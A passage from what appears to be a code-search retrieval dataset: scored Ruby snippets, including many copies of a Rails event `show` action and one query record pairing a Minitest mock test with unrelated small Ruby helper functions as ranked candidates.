"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "53f03fe240698fa4821da04fd48001bd",
"score": "0.7190171",
"text": "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "53f03fe240698fa4821da04fd48001bd",
"score": "0.7190171",
"text": "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "0bd25cda8f89493807a725bdf88743c8",
"score": "0.7185553",
"text": "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end",
"title": ""
},
{
"docid": "ffba32a75db83cfe33fbadcd45ea8758",
"score": "0.71788853",
"text": "def show\n\t@event = Event.find(params[:id])\n\n\trespond_to do |format|\n\t format.html # show.html.erb\n\t format.json { render json: @event }\n\tend\n end",
"title": ""
},
{
"docid": "9f3479ee0d84bb4c759aa1ad3851528c",
"score": "0.7176304",
"text": "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html { render :show }\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "5d778e810a29178b1727eb24697e4654",
"score": "0.7166417",
"text": "def show\n\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end",
"title": ""
},
{
"docid": "ce4ca83790dbd6603d50dfea9eaba5d6",
"score": "0.716499",
"text": "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "ce4ca83790dbd6603d50dfea9eaba5d6",
"score": "0.716499",
"text": "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "269ca140e2c57ccf3c31608aca7982ba",
"score": "0.7163602",
"text": "def show\n @event = Event.find(params[:id])\n respond_with @event.as_json\n end",
"title": ""
},
{
"docid": "df721db38838316d4629530c6877bdf3",
"score": "0.71610856",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end",
"title": ""
},
{
"docid": "df721db38838316d4629530c6877bdf3",
"score": "0.71610856",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end",
"title": ""
},
{
"docid": "df721db38838316d4629530c6877bdf3",
"score": "0.71610856",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end",
"title": ""
},
{
"docid": "df721db38838316d4629530c6877bdf3",
"score": "0.71610856",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end",
"title": ""
},
{
"docid": "df721db38838316d4629530c6877bdf3",
"score": "0.71610856",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end",
"title": ""
}
] |
b812134f8c3ab3a83d5295e5e8430a10 | If 6 is given for x, assuming x and z are valid objects, should return an integer 4. | [
{
"docid": "55d193161679c3370c4ad40c4ac0954c",
"score": "0.0",
"text": "def test_new_location_mock_high_bound\r\n random = Minitest::Mock.new(\"test_random\")\r\n def random.rand(num); 0; end\r\n location = Minitest::Mock.new(\"test_location_arr\")\r\n def location.neighbor_count(index); 2; end\r\n def location.find_neighbor(index, new_index); 4; end\r\n assert_equal 4, @g.new_location(6, random, location)\r\n end",
"title": ""
}
] | [
{
"docid": "9034b0a651a9eea37723f281f9827b17",
"score": "0.61176497",
"text": "def four_of_a_kind\n repetitions(4).any? ? repetitions(4).keys.max.to_i : 0\n end",
"title": ""
},
{
"docid": "e872149177b5f96e82a077d1c0ea5d5d",
"score": "0.5918115",
"text": "def largest_num_1(x, y, z)\n\tif (x == x.to_i && y == y.to_i && z == z.to_i)\n\t\tif (x > y && x > z)\n\t\t\treturn puts \"x = #{x} is larger than y = #{y} and z = #{z}\"\n\t\telsif (y > x && y > z)\n\t\t\treturn puts \"x = #{y} is larger than x = #{x} and z = #{z}\"\n\t\telse\n\t\t\treturn puts \"z = #{z} is larger than x = #{x} and y = #{y}\"\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "62fd3749ba423da2d242972d4e00616e",
"score": "0.5840306",
"text": "def min_3(x, y, z)\n if x < y and x < z\n x\n elsif y < x and y < z\n y\n else\n z\n end\n end",
"title": ""
},
{
"docid": "2e7118eefd459efe6898ebad49e46eb0",
"score": "0.5787294",
"text": "def three_of_a_kind\n repetitions(3).keys.count ? repetitions(3).keys.max.to_i : 0\n end",
"title": ""
},
{
"docid": "0520792da00c914ca6966c07eaf3b02d",
"score": "0.57222426",
"text": "def min_3(x, y, z)\nend",
"title": ""
},
{
"docid": "884055098eca5ccae72c8c0c6d3f924c",
"score": "0.5535936",
"text": "def count(x, y, z, w) \nn = 0\n for k1 in 0..w/x \n for k2 in 0..w/y\n for k3 in 0..w/z\n if w === k1*x + k2*y + k3*z \n n += 1\n end\n end\n end\n end\nn\nend",
"title": ""
},
{
"docid": "15ffac0085cec400d1022821bce634df",
"score": "0.552178",
"text": "def test_set_z_as_fixnum\n obj = Geom::Point3d.new\n obj.z = 1000\n result = obj.z\n expected = 1000\n assert_equal(expected, result, 'expected does not match result.')\n end",
"title": ""
},
{
"docid": "422a38e5f5d26449e8e003982b663f4a",
"score": "0.5474316",
"text": "def lone_sum(x, y, z)\n if x == y && x == z\n return 0\n elsif y == z\n return x + y - z\n elsif x == y || x == z\n return y + z - x\n else \n return x + y + z \n end\nend",
"title": ""
},
{
"docid": "0f704a8e756807bca2d259fe0bb60b3e",
"score": "0.5358285",
"text": "def solution(a)\n return 0 if a.count < 3\n \n a.sort!\n for i in (2...a.count)\n x = a[i - 2]\n y = a[i - 1]\n z = a[i]\n \n return 1 if x + y > z && x + z > y && z + y > x\n end\n \n return 0\nend",
"title": ""
},
{
"docid": "88cccb8e7099c92653413d35a6037fca",
"score": "0.5332628",
"text": "def min_of_four(number1, number2, number3, number4)\n output = number1\n if output > number2\n output = number2\n end\n if output > number3\n output = number3\n end\n if output > number4\n output = number4\n end\n return output\nend",
"title": ""
},
{
"docid": "38cf3afcc733c411ef28be6e4d8be1e2",
"score": "0.53019726",
"text": "def test\n\t\tvar = if @a >= @b+@c or @b >= @a+@c or @c >= @b+@a then 5\n\t\telsif @a == @b and @a == @c then var = 1\n\t\telsif @a**2 == @b**2 + @c**2 or @b**2 == @a**2 + @c**2 or\n\t\t\t@c**2 == @b**2 + @a**2 then var = 4\n\t\telsif @a == @b or @a == @c or @b == @c then var = 2\n\t\telse var = 3\n\t\tend\n\n\t\treturn var\n\tend",
"title": ""
},
{
"docid": "3977f0b293db132aa7c3b3c26343f916",
"score": "0.5300372",
"text": "def m3; 3 end",
"title": ""
},
{
"docid": "cc2d62544603108b2e7a6de8ce766183",
"score": "0.5287192",
"text": "def max_of_four(n1, n2, n3, n4)\n max1 = n1\n max2 = n3\n\n if n2 > max1\n max1 = n2\n end\n if n4 > max2\n max2 = n4\n end\n if max2 > max1\n max1 = max2\n end\n return max2\nend",
"title": ""
},
{
"docid": "6d57a0aea5a8eefa0b36dc2740b27b24",
"score": "0.52286816",
"text": "def oor?(x, y=0, z=0)\n return true if x < 0 || y < 0 || z < 0\n return true if xsize <= x\n return true if ysize <= y if ysize > 0\n return true if zsize <= z if zsize > 0\n return false\n end",
"title": ""
},
{
"docid": "1891c646c57d76fa2a2fcfa799112c43",
"score": "0.5190821",
"text": "def four_of_kind\n (0..12).each { |i|\n fok = {}\n num = 0\n @hash_7_card.each { |s, _r|\n next unless [14 - i] & @hash_7_card[s] == [14 - i]\n fok[s] = [14 - i]\n num += 1\n return fok if num == 4\n }\n }\n nil\n end",
"title": ""
},
{
"docid": "da790b46b08bd0287416c9713590c2ab",
"score": "0.51903963",
"text": "def min_of_four(n1, n2, n3, n4)\n smallest1 = n1\n smallest2 = n3\n\n if n2 < smallest1\n smallest1 = n2\n end\n if n4 < smallest2\n smallest2 = n4\n end\n if smallest2 < smallest1\n smallest1 = smallest2\n end\n return smallest1\nend",
"title": ""
},
{
"docid": "1f847e431ef7f7deeb58a1d6e312ebc8",
"score": "0.5174334",
"text": "def length\n if z\n Math.sqrt(x * x + y * y + z * z)\n elsif x && y\n Math.sqrt(x * x + y * y)\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "62cb27ea825f36055ff4624dfc466cba",
"score": "0.51627195",
"text": "def min_four(num1, num2, num3, num4)\n\n if num1 > num2\n output1 = num1\n else\n output1 = num2\n end\n\n if num3 > num4\n output2 = num3\n else\n output2 = num4\n end\n\n if output1 > output2\n return output1\n else\n return output2\n end\nend",
"title": ""
},
{
"docid": "5b6120414ca27787a7aab9c270c6f2b9",
"score": "0.51502365",
"text": "def max_of_four(num1, num2, num3, num4)\n if num2 < num1\n if num3 < num1\n if num4 < num1\n return num1\n end\n end\n elsif num3 < num2\n if num4 < num2\n return num2\n end\n elsif num4 > num3\n return num4\n end\n return num3\nend",
"title": ""
},
{
"docid": "6630e843b5b80c328a912838de72491f",
"score": "0.51405686",
"text": "def max_of_four(number1, number2, number3, number4)\n if number1 > number2\n max1 = number1\n else\n max1 = number2\n end\n if number3 > number4\n max2 = number3\n else\n max2 = number4\n end\n if max1 > max2\n return max1\n else\n return max2\n end\nend",
"title": ""
},
{
"docid": "42ddc2fcc3145c2d14ff37aa76dbc3d2",
"score": "0.51251674",
"text": "def equal_to_four(x)\n if x == 4\n puts \"yup\"\n else\n puts \"nope\"\n end \n end",
"title": ""
},
{
"docid": "7285f9bf6811ca329fd1889706171469",
"score": "0.51175517",
"text": "def smallest_of_four(num1, num2, num3,num4)\n output= num1\n if num1>num2\n output=num2\n end\n if output> num3\n output=num3\n end\n if output>num4 \n output= num4\n end\n return output\nend",
"title": ""
},
{
"docid": "37ab82369efa8359073a54c0837b2e37",
"score": "0.51115364",
"text": "def equal_to_four(x)\n if x == 4\n puts \"yup\"\n else\n puts \"nope\"\n end\n end",
"title": ""
},
{
"docid": "8f4f837caa1ac8002765f2fbca328db1",
"score": "0.5097836",
"text": "def min_of_four(min,num2,num3,num4)\n if min > num2\n min = num2\n end\n if min > num3\n min = num3\n end\n if min > num4\n min = num4\n end\n\n return min\nend",
"title": ""
},
{
"docid": "78e293eeebec4fb62dd4bdc061e5d55f",
"score": "0.5086373",
"text": "def test_set_x_as_fixnum\n obj = Geom::Point3d.new\n obj.x = 1000\n result = obj.x\n expected = 1000\n assert_equal(expected, result, 'Expected does not match result.')\n end",
"title": ""
},
{
"docid": "0c828b8d4c2fbfe98fd8164030c0fd69",
"score": "0.5084321",
"text": "def[](num)\r\n if num == 0\r\n return @x\r\n elsif num == 1\r\n return @y\r\n elsif num == 2\r\n return @z\r\n else\r\n return nil\r\n end\r\n end",
"title": ""
},
{
"docid": "63bffdb19b188b5efb6614028b1c7253",
"score": "0.5083203",
"text": "def min_of_four(num1, num2, num3, num4)\n min1 = num1\n min2 = num3\n if min1 > num2\n min1 = num2\n end\n if min2 > num4\n min2 = num4\n end\n if min1 > min2\n min = min2\n else\n min = min1\n end\n return min\nend",
"title": ""
},
{
"docid": "37fcce6ca44226d201af07ba36dca817",
"score": "0.5079216",
"text": "def cnt; xparam(6); end",
"title": ""
},
{
"docid": "75210151f2aadb1dbca6dc40ad4308c7",
"score": "0.5075176",
"text": "def four_of_a_kind?\n cards_by_rank.values.first.count == 4\n end",
"title": ""
},
{
"docid": "dfb67f081818fc72047ca8dc0de9a43e",
"score": "0.5067575",
"text": "def triangle(x,y,z)\n sides = [x, y, z].sort \n return :invalid unless sides.all?{ |e| e.is_a?(Numeric) && e > 0 }\n return :invalid if sides[0] + sides[1] <= sides[2]\n # Now, since the sides are sorted, we can do the following:\n if sides[0] == sides[2]\n :equilateral\n elsif sides[0] == sides[1] || sides[1] == sides[2]\n :isosceles\n else\n :scalene\n end\nend",
"title": ""
},
{
"docid": "a846be27d4c697db6ca02ebf7ea806c2",
"score": "0.50591445",
"text": "def cantidadPrimosRango(rangoInicial, rangoFinal)\n contador = 0\n x = rangoInicial\n y = rangoFinal\n if x >= 4\n z = x - 1\n else\n z = x\n end\n for i in z..y\n if y % i == 0\n contador = contador + 1\n end\n end\n return contador\nend",
"title": ""
},
{
"docid": "881a33667f82d59a560e9344657bd2a6",
"score": "0.50314873",
"text": "def four_of_a_kind?\n n_of_a_kind? 4\n end",
"title": ""
},
{
"docid": "c1c5b4a711b763b759e2ec8bc2b27e00",
"score": "0.5002619",
"text": "def initialize(x=0, y=0,z=0)\n if x.is_a? Numeric\n if y.is_a? Numeric\n @x = x\n @y = y\n @z = z\n end\n else\n @x = y.x - x.x\n @y = y.y - x.y\n @z = y.z - x.z\n end\n end",
"title": ""
},
{
"docid": "dee02f19da7700a0cfab2e6dadb3c2c3",
"score": "0.5000168",
"text": "def size(x)\n -@parent_or_size[find(x)]\n end",
"title": ""
},
{
"docid": "6fdfc5d78147f6175c879d6a4d723015",
"score": "0.499229",
"text": "def max_of_four(num1,num2,num3,num4)\n temp1 = num1 if num1 > num2\n temp1 = num2 if num2 > num1\n temp2 = num3 if num3 > num4\n temp1 = num4 if num4 > num3\n return temp1 if temp1 > temp2\n return temp2\nend",
"title": ""
},
{
"docid": "f2a4ceae218823e98b3919978422e95b",
"score": "0.4987731",
"text": "def minofthree(num1, num2, num3)\n if num1 > num2\n i = num2\n else \n i = num1\n end\n if num3 < i \n i = num3\n end\n return i\nend",
"title": ""
},
{
"docid": "727c4c3a182775afe692514ae93474a3",
"score": "0.49832466",
"text": "def number( gm )\n num = nil\n gm.players.each_with_index{|pl, i| num = i if (pl == self) }\n (num + 1) if num.is_a? Integer\n end",
"title": ""
},
{
"docid": "63fdba1ebc41ff3ca1b23a660523e7fc",
"score": "0.49818352",
"text": "def min_of_three(min,num2,num3,num4)\n if min > num2\n min = num2\n end\n if min > num3\n min = num3\n end\n if min > num4\n min = num4\n end\n return min\nend",
"title": ""
},
{
"docid": "1920fb064da13477b2ee9d2c321a0304",
"score": "0.49757385",
"text": "def xyz_to_index(x, y, z)\n case @cell_order\n when CELL_ORDER_COLS then (x % columns) +\n (y * columns) +\n (z * columns * rows)\n when CELL_ORDER_ROWS then (x * rows * layers) +\n (y % rows) +\n (z * rows)\n when CELL_ORDER_LAYS then (x * layers) +\n (y * layers * columns) +\n (z % layers)\n end\n end",
"title": ""
},
{
"docid": "68ec59bb76fa651698fa513da54c49af",
"score": "0.4973409",
"text": "def count_YZ\nend",
"title": ""
},
{
"docid": "b721fd71a26963889f3d0ebd199741f4",
"score": "0.49702156",
"text": "def four_of_a_kind?\r\n players_cards.each do |card_obj|\r\n return card_obj.value if players_cards.count {|card| card.value == card_obj.value} == 4\r\n end\r\n false \r\n end",
"title": ""
},
{
"docid": "a32f1d25c7329f63ffe2d8b95efdf770",
"score": "0.4961177",
"text": "def max_of_four(max,num2,num3,num4)\n if max < num2\n max = num2\n end\n if max < num3\n max = num3\n end\n if max < num4\n max = num4\n end\n\n return max\nend",
"title": ""
},
{
"docid": "80c7b1d7f2a88a1df9b9ee7952d000c2",
"score": "0.49445724",
"text": "def count_x(str)\n return 0 if str.length == 0 \n if str[0] == \"x\"\n return 1 + count_x(str[1, str.length - 1])\n else\n return count_x(str[1, str.length - 1])\n end\nend",
"title": ""
},
{
"docid": "768b6183ec7115764d2e1fc7f6997aad",
"score": "0.49422926",
"text": "def equal_to_four(x)\n if x == 4\n puts 'yup'\n else\n puts 'nope'\n end\nend",
"title": ""
},
{
"docid": "2938e1d8abd0d8294b37ab4c33c4e16a",
"score": "0.49256983",
"text": "def equal_number(number1,number2,number3)\n\tif number1==number2\n\t\treturn 2\n\telsif number2==number3\n\t\treturn 2\n\telsif number1==number3\n\t\treturn 2\n\telsif number1==number2 and number2==number3\n\t\treturn 3\n\telse \n\t\treturn 0\n\tend\nend",
"title": ""
},
{
"docid": "dd002aa14e325b6ba61ed2c2a0723170",
"score": "0.4922538",
"text": "def test_number_has_three_in_it\n\t\tassert_equal \"fizz\", FizzBuzz.identify(13)\n\tend",
"title": ""
},
{
"docid": "a18f0d27440cfd3d38b11a5f230869a6",
"score": "0.4910447",
"text": "def *(y)\n z = 0\n\n for i in 1..y do\n z += @x\n end\n z\n end",
"title": ""
},
{
"docid": "34c661ca9dba4a647cf7a7f3b5a3f55d",
"score": "0.49091154",
"text": "def valid(x, y)\n return false if x < 0 || y < 0\n i = x*x + 3*x + 2*x*y + y + y*y + $input\n i.to_s(2).chars.count{|z| z == '1'}.even?\nend",
"title": ""
},
{
"docid": "3cf05e599a74b3083355578376bc5c9e",
"score": "0.49015236",
"text": "def countNumX(res, x)\n\t\tsCount = 0\n\n\t\tif res == nil || res.length == 0\n\t\t\treturn sCount\n\t\tend\n\n\t\t# res is an array of constiuents\n\t\tres.each do |constituent|\n\t\t\tif(constituent.pos == x)\n\t\t\t\tsCount = sCount + 1\n\t\t\tend\n\n\t\t\t#search children\n\t\t\tsCount = sCount + countNumX(constituent.children, x)\n\t\tend\n\n\t\treturn sCount\n\tend",
"title": ""
},
{
"docid": "40c5922291f21b0dcfbaf5cde17bc2c9",
"score": "0.48927966",
"text": "def x(n)\n end",
"title": ""
},
{
"docid": "8bf2d1b32e303fe855f81ebcd203025c",
"score": "0.4890619",
"text": "def equal_to_four(x)\n if x == 4\n puts \"yup\"\n else\n puts \"nope\"\n end\nend",
"title": ""
},
{
"docid": "8bf2d1b32e303fe855f81ebcd203025c",
"score": "0.4890619",
"text": "def equal_to_four(x)\n if x == 4\n puts \"yup\"\n else\n puts \"nope\"\n end\nend",
"title": ""
},
{
"docid": "8bf2d1b32e303fe855f81ebcd203025c",
"score": "0.4890619",
"text": "def equal_to_four(x)\n if x == 4\n puts \"yup\"\n else\n puts \"nope\"\n end\nend",
"title": ""
},
{
"docid": "8bf2d1b32e303fe855f81ebcd203025c",
"score": "0.4890619",
"text": "def equal_to_four(x)\n if x == 4\n puts \"yup\"\n else\n puts \"nope\"\n end\nend",
"title": ""
},
{
"docid": "8bf2d1b32e303fe855f81ebcd203025c",
"score": "0.4890619",
"text": "def equal_to_four(x)\n if x == 4\n puts \"yup\"\n else\n puts \"nope\"\n end\nend",
"title": ""
},
{
"docid": "8bf2d1b32e303fe855f81ebcd203025c",
"score": "0.4890619",
"text": "def equal_to_four(x)\n if x == 4\n puts \"yup\"\n else\n puts \"nope\"\n end\nend",
"title": ""
},
{
"docid": "8bf2d1b32e303fe855f81ebcd203025c",
"score": "0.4890619",
"text": "def equal_to_four(x)\n if x == 4\n puts \"yup\"\n else\n puts \"nope\"\n end\nend",
"title": ""
},
{
"docid": "8bf2d1b32e303fe855f81ebcd203025c",
"score": "0.4890619",
"text": "def equal_to_four(x)\n if x == 4\n puts \"yup\"\n else\n puts \"nope\"\n end\nend",
"title": ""
},
{
"docid": "8bf2d1b32e303fe855f81ebcd203025c",
"score": "0.4890619",
